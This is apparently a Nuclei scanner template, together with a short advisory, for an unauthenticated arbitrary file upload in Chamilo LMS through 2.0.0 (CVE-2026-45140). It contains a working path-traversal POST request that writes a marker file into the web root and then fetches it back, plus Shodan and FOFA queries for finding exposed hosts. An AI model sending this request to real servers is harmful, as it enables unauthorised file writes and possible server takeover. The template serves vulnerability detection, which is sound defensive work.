Chamilo LMS through 2.0.0 ships a leftover CStudio plugin script (plugin/CStudio/editor/import-project/inc/big-upload.php) that does not require authentication and does not sanitize the "key" parameter. A remote attacker can use path traversal in "key" to write an attacker-controlled file into the public web root. Fixed in 2.0.1.
id: CVE-2026-45140
info:
name: Chamilo LMS <= 2.0.0 - Unauthenticated Arbitrary File Upload via CStudio big-upload.php
author: DhiyaneshDk
severity: critical
description: |
Chamilo LMS through 2.0.0 ships a leftover CStudio plugin script (plugin/CStudio/editor/import-project/inc/big-upload.php) that does not require authentication and does not sanitize the "key" parameter. A remote attacker can use path traversal in "key" to write an attacker-controlled file into the public web root. Fixed in 2.0.1.
impact: |
Unauthenticated attackers can write arbitrary files into the web root, which may lead to remote code execution and full compromise of the server.
remediation: |
Upgrade to Chamilo LMS 2.0.1 or later, or remove the plugin/CStudio directory.
reference:
- https://github.com/advisories/GHSA-g4c3-4g96-6g4m
- https://nvd.nist.gov/vuln/detail/CVE-2026-45140
- https://github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844
- https://abraxaslabs.tech/research/CVE-2026-45140
- https://github.com/abraxas/CVE-2026-45140
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-45140
epss-score: 0.0461
epss-percentile: 0.92456
cwe-id: CWE-22,CWE-434
cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: chamilo
product: chamilo_lms
shodan-query: http.title:"Chamilo"
fofa-query: title="Chamilo"
tags: cve,cve2026,chamilo,lms,file-upload,intrusive,vkev
variables:
filename: "{{rand_text_alphanumeric(12)}}.txt"
marker: "{{rand_text_alphanumeric(24)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=..%2f..%2f..%2f..%2fpublic%2f{{filename}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
{{marker}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"errorStatus\":0")'
condition: and
internal: true
- raw:
- |
GET /{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{marker}}"
- type: status
status:
- 200
# digest: 490a00463044022075a24aae4f697c63413dcad5cbf19bf539b8595c0ebc07439d39006c969b004b02207c088dcd715e1a5fb60ece4549b6f4253d6a47c2ba8b46e7655cf83f12f08858:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.